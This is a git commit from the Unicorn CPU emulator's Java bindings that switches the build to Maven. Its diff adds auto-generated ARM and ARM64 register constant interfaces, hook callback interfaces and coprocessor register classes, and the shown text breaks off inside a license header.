Switch to Maven to build the Java bits.

Maven is now used to update the constants, build the Java code, call make to
build the native library, and run all the tests. I have removed the "install"
and "uninstall" targets; instead, the expectation will be that the JNI library
will be placed somewhere on java.library.path and the JAR file will be used as
usual (e.g. in a downstream Maven project, or placed on the classpath of your
project).

Since Maven is now running our tests, this eliminates the need to bundle test
dependencies in `testdep`, and makes the project structured more like a typical
Java project.
This commit is contained in:
Robert Xiao
2023-06-29 16:04:51 -07:00
parent 2198ea4f69
commit dfdc8e7e8e
69 changed files with 155 additions and 100 deletions

View File

@@ -0,0 +1,339 @@
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
package unicorn;
public interface Arm64Const {
// ARM64 CPU
public static final int UC_CPU_ARM64_A57 = 0;
public static final int UC_CPU_ARM64_A53 = 1;
public static final int UC_CPU_ARM64_A72 = 2;
public static final int UC_CPU_ARM64_MAX = 3;
public static final int UC_CPU_ARM64_ENDING = 4;
// ARM64 registers
public static final int UC_ARM64_REG_INVALID = 0;
public static final int UC_ARM64_REG_X29 = 1;
public static final int UC_ARM64_REG_X30 = 2;
public static final int UC_ARM64_REG_NZCV = 3;
public static final int UC_ARM64_REG_SP = 4;
public static final int UC_ARM64_REG_WSP = 5;
public static final int UC_ARM64_REG_WZR = 6;
public static final int UC_ARM64_REG_XZR = 7;
public static final int UC_ARM64_REG_B0 = 8;
public static final int UC_ARM64_REG_B1 = 9;
public static final int UC_ARM64_REG_B2 = 10;
public static final int UC_ARM64_REG_B3 = 11;
public static final int UC_ARM64_REG_B4 = 12;
public static final int UC_ARM64_REG_B5 = 13;
public static final int UC_ARM64_REG_B6 = 14;
public static final int UC_ARM64_REG_B7 = 15;
public static final int UC_ARM64_REG_B8 = 16;
public static final int UC_ARM64_REG_B9 = 17;
public static final int UC_ARM64_REG_B10 = 18;
public static final int UC_ARM64_REG_B11 = 19;
public static final int UC_ARM64_REG_B12 = 20;
public static final int UC_ARM64_REG_B13 = 21;
public static final int UC_ARM64_REG_B14 = 22;
public static final int UC_ARM64_REG_B15 = 23;
public static final int UC_ARM64_REG_B16 = 24;
public static final int UC_ARM64_REG_B17 = 25;
public static final int UC_ARM64_REG_B18 = 26;
public static final int UC_ARM64_REG_B19 = 27;
public static final int UC_ARM64_REG_B20 = 28;
public static final int UC_ARM64_REG_B21 = 29;
public static final int UC_ARM64_REG_B22 = 30;
public static final int UC_ARM64_REG_B23 = 31;
public static final int UC_ARM64_REG_B24 = 32;
public static final int UC_ARM64_REG_B25 = 33;
public static final int UC_ARM64_REG_B26 = 34;
public static final int UC_ARM64_REG_B27 = 35;
public static final int UC_ARM64_REG_B28 = 36;
public static final int UC_ARM64_REG_B29 = 37;
public static final int UC_ARM64_REG_B30 = 38;
public static final int UC_ARM64_REG_B31 = 39;
public static final int UC_ARM64_REG_D0 = 40;
public static final int UC_ARM64_REG_D1 = 41;
public static final int UC_ARM64_REG_D2 = 42;
public static final int UC_ARM64_REG_D3 = 43;
public static final int UC_ARM64_REG_D4 = 44;
public static final int UC_ARM64_REG_D5 = 45;
public static final int UC_ARM64_REG_D6 = 46;
public static final int UC_ARM64_REG_D7 = 47;
public static final int UC_ARM64_REG_D8 = 48;
public static final int UC_ARM64_REG_D9 = 49;
public static final int UC_ARM64_REG_D10 = 50;
public static final int UC_ARM64_REG_D11 = 51;
public static final int UC_ARM64_REG_D12 = 52;
public static final int UC_ARM64_REG_D13 = 53;
public static final int UC_ARM64_REG_D14 = 54;
public static final int UC_ARM64_REG_D15 = 55;
public static final int UC_ARM64_REG_D16 = 56;
public static final int UC_ARM64_REG_D17 = 57;
public static final int UC_ARM64_REG_D18 = 58;
public static final int UC_ARM64_REG_D19 = 59;
public static final int UC_ARM64_REG_D20 = 60;
public static final int UC_ARM64_REG_D21 = 61;
public static final int UC_ARM64_REG_D22 = 62;
public static final int UC_ARM64_REG_D23 = 63;
public static final int UC_ARM64_REG_D24 = 64;
public static final int UC_ARM64_REG_D25 = 65;
public static final int UC_ARM64_REG_D26 = 66;
public static final int UC_ARM64_REG_D27 = 67;
public static final int UC_ARM64_REG_D28 = 68;
public static final int UC_ARM64_REG_D29 = 69;
public static final int UC_ARM64_REG_D30 = 70;
public static final int UC_ARM64_REG_D31 = 71;
public static final int UC_ARM64_REG_H0 = 72;
public static final int UC_ARM64_REG_H1 = 73;
public static final int UC_ARM64_REG_H2 = 74;
public static final int UC_ARM64_REG_H3 = 75;
public static final int UC_ARM64_REG_H4 = 76;
public static final int UC_ARM64_REG_H5 = 77;
public static final int UC_ARM64_REG_H6 = 78;
public static final int UC_ARM64_REG_H7 = 79;
public static final int UC_ARM64_REG_H8 = 80;
public static final int UC_ARM64_REG_H9 = 81;
public static final int UC_ARM64_REG_H10 = 82;
public static final int UC_ARM64_REG_H11 = 83;
public static final int UC_ARM64_REG_H12 = 84;
public static final int UC_ARM64_REG_H13 = 85;
public static final int UC_ARM64_REG_H14 = 86;
public static final int UC_ARM64_REG_H15 = 87;
public static final int UC_ARM64_REG_H16 = 88;
public static final int UC_ARM64_REG_H17 = 89;
public static final int UC_ARM64_REG_H18 = 90;
public static final int UC_ARM64_REG_H19 = 91;
public static final int UC_ARM64_REG_H20 = 92;
public static final int UC_ARM64_REG_H21 = 93;
public static final int UC_ARM64_REG_H22 = 94;
public static final int UC_ARM64_REG_H23 = 95;
public static final int UC_ARM64_REG_H24 = 96;
public static final int UC_ARM64_REG_H25 = 97;
public static final int UC_ARM64_REG_H26 = 98;
public static final int UC_ARM64_REG_H27 = 99;
public static final int UC_ARM64_REG_H28 = 100;
public static final int UC_ARM64_REG_H29 = 101;
public static final int UC_ARM64_REG_H30 = 102;
public static final int UC_ARM64_REG_H31 = 103;
public static final int UC_ARM64_REG_Q0 = 104;
public static final int UC_ARM64_REG_Q1 = 105;
public static final int UC_ARM64_REG_Q2 = 106;
public static final int UC_ARM64_REG_Q3 = 107;
public static final int UC_ARM64_REG_Q4 = 108;
public static final int UC_ARM64_REG_Q5 = 109;
public static final int UC_ARM64_REG_Q6 = 110;
public static final int UC_ARM64_REG_Q7 = 111;
public static final int UC_ARM64_REG_Q8 = 112;
public static final int UC_ARM64_REG_Q9 = 113;
public static final int UC_ARM64_REG_Q10 = 114;
public static final int UC_ARM64_REG_Q11 = 115;
public static final int UC_ARM64_REG_Q12 = 116;
public static final int UC_ARM64_REG_Q13 = 117;
public static final int UC_ARM64_REG_Q14 = 118;
public static final int UC_ARM64_REG_Q15 = 119;
public static final int UC_ARM64_REG_Q16 = 120;
public static final int UC_ARM64_REG_Q17 = 121;
public static final int UC_ARM64_REG_Q18 = 122;
public static final int UC_ARM64_REG_Q19 = 123;
public static final int UC_ARM64_REG_Q20 = 124;
public static final int UC_ARM64_REG_Q21 = 125;
public static final int UC_ARM64_REG_Q22 = 126;
public static final int UC_ARM64_REG_Q23 = 127;
public static final int UC_ARM64_REG_Q24 = 128;
public static final int UC_ARM64_REG_Q25 = 129;
public static final int UC_ARM64_REG_Q26 = 130;
public static final int UC_ARM64_REG_Q27 = 131;
public static final int UC_ARM64_REG_Q28 = 132;
public static final int UC_ARM64_REG_Q29 = 133;
public static final int UC_ARM64_REG_Q30 = 134;
public static final int UC_ARM64_REG_Q31 = 135;
public static final int UC_ARM64_REG_S0 = 136;
public static final int UC_ARM64_REG_S1 = 137;
public static final int UC_ARM64_REG_S2 = 138;
public static final int UC_ARM64_REG_S3 = 139;
public static final int UC_ARM64_REG_S4 = 140;
public static final int UC_ARM64_REG_S5 = 141;
public static final int UC_ARM64_REG_S6 = 142;
public static final int UC_ARM64_REG_S7 = 143;
public static final int UC_ARM64_REG_S8 = 144;
public static final int UC_ARM64_REG_S9 = 145;
public static final int UC_ARM64_REG_S10 = 146;
public static final int UC_ARM64_REG_S11 = 147;
public static final int UC_ARM64_REG_S12 = 148;
public static final int UC_ARM64_REG_S13 = 149;
public static final int UC_ARM64_REG_S14 = 150;
public static final int UC_ARM64_REG_S15 = 151;
public static final int UC_ARM64_REG_S16 = 152;
public static final int UC_ARM64_REG_S17 = 153;
public static final int UC_ARM64_REG_S18 = 154;
public static final int UC_ARM64_REG_S19 = 155;
public static final int UC_ARM64_REG_S20 = 156;
public static final int UC_ARM64_REG_S21 = 157;
public static final int UC_ARM64_REG_S22 = 158;
public static final int UC_ARM64_REG_S23 = 159;
public static final int UC_ARM64_REG_S24 = 160;
public static final int UC_ARM64_REG_S25 = 161;
public static final int UC_ARM64_REG_S26 = 162;
public static final int UC_ARM64_REG_S27 = 163;
public static final int UC_ARM64_REG_S28 = 164;
public static final int UC_ARM64_REG_S29 = 165;
public static final int UC_ARM64_REG_S30 = 166;
public static final int UC_ARM64_REG_S31 = 167;
public static final int UC_ARM64_REG_W0 = 168;
public static final int UC_ARM64_REG_W1 = 169;
public static final int UC_ARM64_REG_W2 = 170;
public static final int UC_ARM64_REG_W3 = 171;
public static final int UC_ARM64_REG_W4 = 172;
public static final int UC_ARM64_REG_W5 = 173;
public static final int UC_ARM64_REG_W6 = 174;
public static final int UC_ARM64_REG_W7 = 175;
public static final int UC_ARM64_REG_W8 = 176;
public static final int UC_ARM64_REG_W9 = 177;
public static final int UC_ARM64_REG_W10 = 178;
public static final int UC_ARM64_REG_W11 = 179;
public static final int UC_ARM64_REG_W12 = 180;
public static final int UC_ARM64_REG_W13 = 181;
public static final int UC_ARM64_REG_W14 = 182;
public static final int UC_ARM64_REG_W15 = 183;
public static final int UC_ARM64_REG_W16 = 184;
public static final int UC_ARM64_REG_W17 = 185;
public static final int UC_ARM64_REG_W18 = 186;
public static final int UC_ARM64_REG_W19 = 187;
public static final int UC_ARM64_REG_W20 = 188;
public static final int UC_ARM64_REG_W21 = 189;
public static final int UC_ARM64_REG_W22 = 190;
public static final int UC_ARM64_REG_W23 = 191;
public static final int UC_ARM64_REG_W24 = 192;
public static final int UC_ARM64_REG_W25 = 193;
public static final int UC_ARM64_REG_W26 = 194;
public static final int UC_ARM64_REG_W27 = 195;
public static final int UC_ARM64_REG_W28 = 196;
public static final int UC_ARM64_REG_W29 = 197;
public static final int UC_ARM64_REG_W30 = 198;
public static final int UC_ARM64_REG_X0 = 199;
public static final int UC_ARM64_REG_X1 = 200;
public static final int UC_ARM64_REG_X2 = 201;
public static final int UC_ARM64_REG_X3 = 202;
public static final int UC_ARM64_REG_X4 = 203;
public static final int UC_ARM64_REG_X5 = 204;
public static final int UC_ARM64_REG_X6 = 205;
public static final int UC_ARM64_REG_X7 = 206;
public static final int UC_ARM64_REG_X8 = 207;
public static final int UC_ARM64_REG_X9 = 208;
public static final int UC_ARM64_REG_X10 = 209;
public static final int UC_ARM64_REG_X11 = 210;
public static final int UC_ARM64_REG_X12 = 211;
public static final int UC_ARM64_REG_X13 = 212;
public static final int UC_ARM64_REG_X14 = 213;
public static final int UC_ARM64_REG_X15 = 214;
public static final int UC_ARM64_REG_X16 = 215;
public static final int UC_ARM64_REG_X17 = 216;
public static final int UC_ARM64_REG_X18 = 217;
public static final int UC_ARM64_REG_X19 = 218;
public static final int UC_ARM64_REG_X20 = 219;
public static final int UC_ARM64_REG_X21 = 220;
public static final int UC_ARM64_REG_X22 = 221;
public static final int UC_ARM64_REG_X23 = 222;
public static final int UC_ARM64_REG_X24 = 223;
public static final int UC_ARM64_REG_X25 = 224;
public static final int UC_ARM64_REG_X26 = 225;
public static final int UC_ARM64_REG_X27 = 226;
public static final int UC_ARM64_REG_X28 = 227;
public static final int UC_ARM64_REG_V0 = 228;
public static final int UC_ARM64_REG_V1 = 229;
public static final int UC_ARM64_REG_V2 = 230;
public static final int UC_ARM64_REG_V3 = 231;
public static final int UC_ARM64_REG_V4 = 232;
public static final int UC_ARM64_REG_V5 = 233;
public static final int UC_ARM64_REG_V6 = 234;
public static final int UC_ARM64_REG_V7 = 235;
public static final int UC_ARM64_REG_V8 = 236;
public static final int UC_ARM64_REG_V9 = 237;
public static final int UC_ARM64_REG_V10 = 238;
public static final int UC_ARM64_REG_V11 = 239;
public static final int UC_ARM64_REG_V12 = 240;
public static final int UC_ARM64_REG_V13 = 241;
public static final int UC_ARM64_REG_V14 = 242;
public static final int UC_ARM64_REG_V15 = 243;
public static final int UC_ARM64_REG_V16 = 244;
public static final int UC_ARM64_REG_V17 = 245;
public static final int UC_ARM64_REG_V18 = 246;
public static final int UC_ARM64_REG_V19 = 247;
public static final int UC_ARM64_REG_V20 = 248;
public static final int UC_ARM64_REG_V21 = 249;
public static final int UC_ARM64_REG_V22 = 250;
public static final int UC_ARM64_REG_V23 = 251;
public static final int UC_ARM64_REG_V24 = 252;
public static final int UC_ARM64_REG_V25 = 253;
public static final int UC_ARM64_REG_V26 = 254;
public static final int UC_ARM64_REG_V27 = 255;
public static final int UC_ARM64_REG_V28 = 256;
public static final int UC_ARM64_REG_V29 = 257;
public static final int UC_ARM64_REG_V30 = 258;
public static final int UC_ARM64_REG_V31 = 259;
// pseudo registers
public static final int UC_ARM64_REG_PC = 260;
public static final int UC_ARM64_REG_CPACR_EL1 = 261;
// thread registers, depreciated, use UC_ARM64_REG_CP_REG instead
public static final int UC_ARM64_REG_TPIDR_EL0 = 262;
public static final int UC_ARM64_REG_TPIDRRO_EL0 = 263;
public static final int UC_ARM64_REG_TPIDR_EL1 = 264;
public static final int UC_ARM64_REG_PSTATE = 265;
// exception link registers, depreciated, use UC_ARM64_REG_CP_REG instead
public static final int UC_ARM64_REG_ELR_EL0 = 266;
public static final int UC_ARM64_REG_ELR_EL1 = 267;
public static final int UC_ARM64_REG_ELR_EL2 = 268;
public static final int UC_ARM64_REG_ELR_EL3 = 269;
// stack pointers registers, depreciated, use UC_ARM64_REG_CP_REG instead
public static final int UC_ARM64_REG_SP_EL0 = 270;
public static final int UC_ARM64_REG_SP_EL1 = 271;
public static final int UC_ARM64_REG_SP_EL2 = 272;
public static final int UC_ARM64_REG_SP_EL3 = 273;
// other CP15 registers, depreciated, use UC_ARM64_REG_CP_REG instead
public static final int UC_ARM64_REG_TTBR0_EL1 = 274;
public static final int UC_ARM64_REG_TTBR1_EL1 = 275;
public static final int UC_ARM64_REG_ESR_EL0 = 276;
public static final int UC_ARM64_REG_ESR_EL1 = 277;
public static final int UC_ARM64_REG_ESR_EL2 = 278;
public static final int UC_ARM64_REG_ESR_EL3 = 279;
public static final int UC_ARM64_REG_FAR_EL0 = 280;
public static final int UC_ARM64_REG_FAR_EL1 = 281;
public static final int UC_ARM64_REG_FAR_EL2 = 282;
public static final int UC_ARM64_REG_FAR_EL3 = 283;
public static final int UC_ARM64_REG_PAR_EL1 = 284;
public static final int UC_ARM64_REG_MAIR_EL1 = 285;
public static final int UC_ARM64_REG_VBAR_EL0 = 286;
public static final int UC_ARM64_REG_VBAR_EL1 = 287;
public static final int UC_ARM64_REG_VBAR_EL2 = 288;
public static final int UC_ARM64_REG_VBAR_EL3 = 289;
public static final int UC_ARM64_REG_CP_REG = 290;
// floating point control and status registers
public static final int UC_ARM64_REG_FPCR = 291;
public static final int UC_ARM64_REG_FPSR = 292;
public static final int UC_ARM64_REG_ENDING = 293;
// alias registers
public static final int UC_ARM64_REG_IP0 = 215;
public static final int UC_ARM64_REG_IP1 = 216;
public static final int UC_ARM64_REG_FP = 1;
public static final int UC_ARM64_REG_LR = 2;
// ARM64 instructions
public static final int UC_ARM64_INS_INVALID = 0;
public static final int UC_ARM64_INS_MRS = 1;
public static final int UC_ARM64_INS_MSR = 2;
public static final int UC_ARM64_INS_SYS = 3;
public static final int UC_ARM64_INS_SYSL = 4;
public static final int UC_ARM64_INS_ENDING = 5;
}

View File

@@ -0,0 +1,40 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2023 Robert Xiao
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Callback for {@code UC_HOOK_INSN} with {@code UC_ARM64_INS_MRS},
* {@code UC_ARM64_INS_MSR}, {@code UC_ARM64_INS_SYS}
* or {@code UC_ARM64_INS_SYSL} */
public interface Arm64SysHook extends InstructionHook {
/** Called to handle an AArch64 MRS, MSR, SYS or SYSL instruction.
*
* @param u {@link Unicorn} instance firing this hook
* @param reg source or destination register
* ({@code UC_ARM64_REG_X*} constant)
* @param cp_reg coprocessor register specification
* ({@code .val} = current value of {@code reg})
* @param user user data provided when registering this hook
* @return 1 to skip the instruction (marking it as handled),
* 0 to let QEMU handle it
*/
public int hook(Unicorn u, int reg, Arm64_CP cp_reg, Object user);
}

View File

@@ -0,0 +1,47 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2023 Robert Xiao
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** ARM64 coprocessor registers for instructions MRS, MSR, SYS, SYSL */
public class Arm64_CP {
public int crn, crm, op0, op1, op2;
public long val;
public Arm64_CP(int crn, int crm, int op0, int op1, int op2) {
this(crn, crm, op0, op1, op2, 0);
}
public Arm64_CP(int crn, int crm, int op0, int op1, int op2, long val) {
this.crn = crn;
this.crm = crm;
this.op0 = op0;
this.op1 = op1;
this.op2 = op2;
this.val = val;
}
@Override
public String toString() {
return "Arm64_CP [crn=" + crn + ", crm=" + crm + ", op0=" + op0 +
", op1=" + op1 + ", op2=" + op2 + ", val=" + val + "]";
}
}

View File

@@ -0,0 +1,198 @@
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
package unicorn;
public interface ArmConst {
// ARM CPU
public static final int UC_CPU_ARM_926 = 0;
public static final int UC_CPU_ARM_946 = 1;
public static final int UC_CPU_ARM_1026 = 2;
public static final int UC_CPU_ARM_1136_R2 = 3;
public static final int UC_CPU_ARM_1136 = 4;
public static final int UC_CPU_ARM_1176 = 5;
public static final int UC_CPU_ARM_11MPCORE = 6;
public static final int UC_CPU_ARM_CORTEX_M0 = 7;
public static final int UC_CPU_ARM_CORTEX_M3 = 8;
public static final int UC_CPU_ARM_CORTEX_M4 = 9;
public static final int UC_CPU_ARM_CORTEX_M7 = 10;
public static final int UC_CPU_ARM_CORTEX_M33 = 11;
public static final int UC_CPU_ARM_CORTEX_R5 = 12;
public static final int UC_CPU_ARM_CORTEX_R5F = 13;
public static final int UC_CPU_ARM_CORTEX_A7 = 14;
public static final int UC_CPU_ARM_CORTEX_A8 = 15;
public static final int UC_CPU_ARM_CORTEX_A9 = 16;
public static final int UC_CPU_ARM_CORTEX_A15 = 17;
public static final int UC_CPU_ARM_TI925T = 18;
public static final int UC_CPU_ARM_SA1100 = 19;
public static final int UC_CPU_ARM_SA1110 = 20;
public static final int UC_CPU_ARM_PXA250 = 21;
public static final int UC_CPU_ARM_PXA255 = 22;
public static final int UC_CPU_ARM_PXA260 = 23;
public static final int UC_CPU_ARM_PXA261 = 24;
public static final int UC_CPU_ARM_PXA262 = 25;
public static final int UC_CPU_ARM_PXA270 = 26;
public static final int UC_CPU_ARM_PXA270A0 = 27;
public static final int UC_CPU_ARM_PXA270A1 = 28;
public static final int UC_CPU_ARM_PXA270B0 = 29;
public static final int UC_CPU_ARM_PXA270B1 = 30;
public static final int UC_CPU_ARM_PXA270C0 = 31;
public static final int UC_CPU_ARM_PXA270C5 = 32;
public static final int UC_CPU_ARM_MAX = 33;
public static final int UC_CPU_ARM_ENDING = 34;
// ARM registers
public static final int UC_ARM_REG_INVALID = 0;
public static final int UC_ARM_REG_APSR = 1;
public static final int UC_ARM_REG_APSR_NZCV = 2;
public static final int UC_ARM_REG_CPSR = 3;
public static final int UC_ARM_REG_FPEXC = 4;
public static final int UC_ARM_REG_FPINST = 5;
public static final int UC_ARM_REG_FPSCR = 6;
public static final int UC_ARM_REG_FPSCR_NZCV = 7;
public static final int UC_ARM_REG_FPSID = 8;
public static final int UC_ARM_REG_ITSTATE = 9;
public static final int UC_ARM_REG_LR = 10;
public static final int UC_ARM_REG_PC = 11;
public static final int UC_ARM_REG_SP = 12;
public static final int UC_ARM_REG_SPSR = 13;
public static final int UC_ARM_REG_D0 = 14;
public static final int UC_ARM_REG_D1 = 15;
public static final int UC_ARM_REG_D2 = 16;
public static final int UC_ARM_REG_D3 = 17;
public static final int UC_ARM_REG_D4 = 18;
public static final int UC_ARM_REG_D5 = 19;
public static final int UC_ARM_REG_D6 = 20;
public static final int UC_ARM_REG_D7 = 21;
public static final int UC_ARM_REG_D8 = 22;
public static final int UC_ARM_REG_D9 = 23;
public static final int UC_ARM_REG_D10 = 24;
public static final int UC_ARM_REG_D11 = 25;
public static final int UC_ARM_REG_D12 = 26;
public static final int UC_ARM_REG_D13 = 27;
public static final int UC_ARM_REG_D14 = 28;
public static final int UC_ARM_REG_D15 = 29;
public static final int UC_ARM_REG_D16 = 30;
public static final int UC_ARM_REG_D17 = 31;
public static final int UC_ARM_REG_D18 = 32;
public static final int UC_ARM_REG_D19 = 33;
public static final int UC_ARM_REG_D20 = 34;
public static final int UC_ARM_REG_D21 = 35;
public static final int UC_ARM_REG_D22 = 36;
public static final int UC_ARM_REG_D23 = 37;
public static final int UC_ARM_REG_D24 = 38;
public static final int UC_ARM_REG_D25 = 39;
public static final int UC_ARM_REG_D26 = 40;
public static final int UC_ARM_REG_D27 = 41;
public static final int UC_ARM_REG_D28 = 42;
public static final int UC_ARM_REG_D29 = 43;
public static final int UC_ARM_REG_D30 = 44;
public static final int UC_ARM_REG_D31 = 45;
public static final int UC_ARM_REG_FPINST2 = 46;
public static final int UC_ARM_REG_MVFR0 = 47;
public static final int UC_ARM_REG_MVFR1 = 48;
public static final int UC_ARM_REG_MVFR2 = 49;
public static final int UC_ARM_REG_Q0 = 50;
public static final int UC_ARM_REG_Q1 = 51;
public static final int UC_ARM_REG_Q2 = 52;
public static final int UC_ARM_REG_Q3 = 53;
public static final int UC_ARM_REG_Q4 = 54;
public static final int UC_ARM_REG_Q5 = 55;
public static final int UC_ARM_REG_Q6 = 56;
public static final int UC_ARM_REG_Q7 = 57;
public static final int UC_ARM_REG_Q8 = 58;
public static final int UC_ARM_REG_Q9 = 59;
public static final int UC_ARM_REG_Q10 = 60;
public static final int UC_ARM_REG_Q11 = 61;
public static final int UC_ARM_REG_Q12 = 62;
public static final int UC_ARM_REG_Q13 = 63;
public static final int UC_ARM_REG_Q14 = 64;
public static final int UC_ARM_REG_Q15 = 65;
public static final int UC_ARM_REG_R0 = 66;
public static final int UC_ARM_REG_R1 = 67;
public static final int UC_ARM_REG_R2 = 68;
public static final int UC_ARM_REG_R3 = 69;
public static final int UC_ARM_REG_R4 = 70;
public static final int UC_ARM_REG_R5 = 71;
public static final int UC_ARM_REG_R6 = 72;
public static final int UC_ARM_REG_R7 = 73;
public static final int UC_ARM_REG_R8 = 74;
public static final int UC_ARM_REG_R9 = 75;
public static final int UC_ARM_REG_R10 = 76;
public static final int UC_ARM_REG_R11 = 77;
public static final int UC_ARM_REG_R12 = 78;
public static final int UC_ARM_REG_S0 = 79;
public static final int UC_ARM_REG_S1 = 80;
public static final int UC_ARM_REG_S2 = 81;
public static final int UC_ARM_REG_S3 = 82;
public static final int UC_ARM_REG_S4 = 83;
public static final int UC_ARM_REG_S5 = 84;
public static final int UC_ARM_REG_S6 = 85;
public static final int UC_ARM_REG_S7 = 86;
public static final int UC_ARM_REG_S8 = 87;
public static final int UC_ARM_REG_S9 = 88;
public static final int UC_ARM_REG_S10 = 89;
public static final int UC_ARM_REG_S11 = 90;
public static final int UC_ARM_REG_S12 = 91;
public static final int UC_ARM_REG_S13 = 92;
public static final int UC_ARM_REG_S14 = 93;
public static final int UC_ARM_REG_S15 = 94;
public static final int UC_ARM_REG_S16 = 95;
public static final int UC_ARM_REG_S17 = 96;
public static final int UC_ARM_REG_S18 = 97;
public static final int UC_ARM_REG_S19 = 98;
public static final int UC_ARM_REG_S20 = 99;
public static final int UC_ARM_REG_S21 = 100;
public static final int UC_ARM_REG_S22 = 101;
public static final int UC_ARM_REG_S23 = 102;
public static final int UC_ARM_REG_S24 = 103;
public static final int UC_ARM_REG_S25 = 104;
public static final int UC_ARM_REG_S26 = 105;
public static final int UC_ARM_REG_S27 = 106;
public static final int UC_ARM_REG_S28 = 107;
public static final int UC_ARM_REG_S29 = 108;
public static final int UC_ARM_REG_S30 = 109;
public static final int UC_ARM_REG_S31 = 110;
public static final int UC_ARM_REG_C1_C0_2 = 111;
public static final int UC_ARM_REG_C13_C0_2 = 112;
public static final int UC_ARM_REG_C13_C0_3 = 113;
public static final int UC_ARM_REG_IPSR = 114;
public static final int UC_ARM_REG_MSP = 115;
public static final int UC_ARM_REG_PSP = 116;
public static final int UC_ARM_REG_CONTROL = 117;
public static final int UC_ARM_REG_IAPSR = 118;
public static final int UC_ARM_REG_EAPSR = 119;
public static final int UC_ARM_REG_XPSR = 120;
public static final int UC_ARM_REG_EPSR = 121;
public static final int UC_ARM_REG_IEPSR = 122;
public static final int UC_ARM_REG_PRIMASK = 123;
public static final int UC_ARM_REG_BASEPRI = 124;
public static final int UC_ARM_REG_BASEPRI_MAX = 125;
public static final int UC_ARM_REG_FAULTMASK = 126;
public static final int UC_ARM_REG_APSR_NZCVQ = 127;
public static final int UC_ARM_REG_APSR_G = 128;
public static final int UC_ARM_REG_APSR_NZCVQG = 129;
public static final int UC_ARM_REG_IAPSR_NZCVQ = 130;
public static final int UC_ARM_REG_IAPSR_G = 131;
public static final int UC_ARM_REG_IAPSR_NZCVQG = 132;
public static final int UC_ARM_REG_EAPSR_NZCVQ = 133;
public static final int UC_ARM_REG_EAPSR_G = 134;
public static final int UC_ARM_REG_EAPSR_NZCVQG = 135;
public static final int UC_ARM_REG_XPSR_NZCVQ = 136;
public static final int UC_ARM_REG_XPSR_G = 137;
public static final int UC_ARM_REG_XPSR_NZCVQG = 138;
public static final int UC_ARM_REG_CP_REG = 139;
public static final int UC_ARM_REG_ENDING = 140;
// alias registers
public static final int UC_ARM_REG_R13 = 12;
public static final int UC_ARM_REG_R14 = 10;
public static final int UC_ARM_REG_R15 = 11;
public static final int UC_ARM_REG_SB = 75;
public static final int UC_ARM_REG_SL = 76;
public static final int UC_ARM_REG_FP = 77;
public static final int UC_ARM_REG_IP = 78;
}

View File

@@ -0,0 +1,31 @@
package unicorn;
/** ARM coprocessor register for MRC, MCR, MRRC, MCRR */
public class Arm_CP {
public int cp, is64, sec, crn, crm, opc1, opc2;
public long val;
public Arm_CP(int cp, int is64, int sec, int crn, int crm, int opc1,
int opc2) {
this(cp, is64, sec, crn, crm, opc1, opc2, 0);
}
public Arm_CP(int cp, int is64, int sec, int crn, int crm, int opc1,
int opc2, long val) {
this.cp = cp;
this.is64 = is64;
this.sec = sec;
this.crn = crn;
this.crm = crm;
this.opc1 = opc1;
this.opc2 = opc2;
this.val = val;
}
@Override
public String toString() {
return "Arm_CP [cp=" + cp + ", is64=" + is64 + ", sec=" + sec +
", crn=" + crn + ", crm=" + crm + ", opc1=" + opc1 + ", opc2=" +
opc2 + ", val=" + val + "]";
}
}

View File

@@ -0,0 +1,34 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Callback for {@code UC_HOOK_BLOCK} */
public interface BlockHook extends Hook {
/** Called on each basic block within the hooked range.
*
* @param u {@link Unicorn} instance firing this hook
* @param address address of the first instruction in the block
* @param size size of the block, in bytes
* @param user user data provided when registering this hook
*/
public void hook(Unicorn u, long address, int size, Object user);
}

View File

@@ -0,0 +1,34 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2015 Chris Eagle
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package unicorn;
/** Callback for {@code UC_HOOK_CODE} */
public interface CodeHook extends Hook {
/** Called on each instruction within the hooked range.
*
* @param u {@link Unicorn} instance firing this hook
* @param address address of the instruction
* @param size size of the instruction, in bytes
* @param user user data provided when registering this hook
*/
public void hook(Unicorn u, long address, int size, Object user);
}

View File

@@ -0,0 +1,34 @@
/*
Java bindings for the Unicorn Emulator Engine
Copyright(c) 2023 Robert Xiao
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
version 2 as published by the Free Software Foundation.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
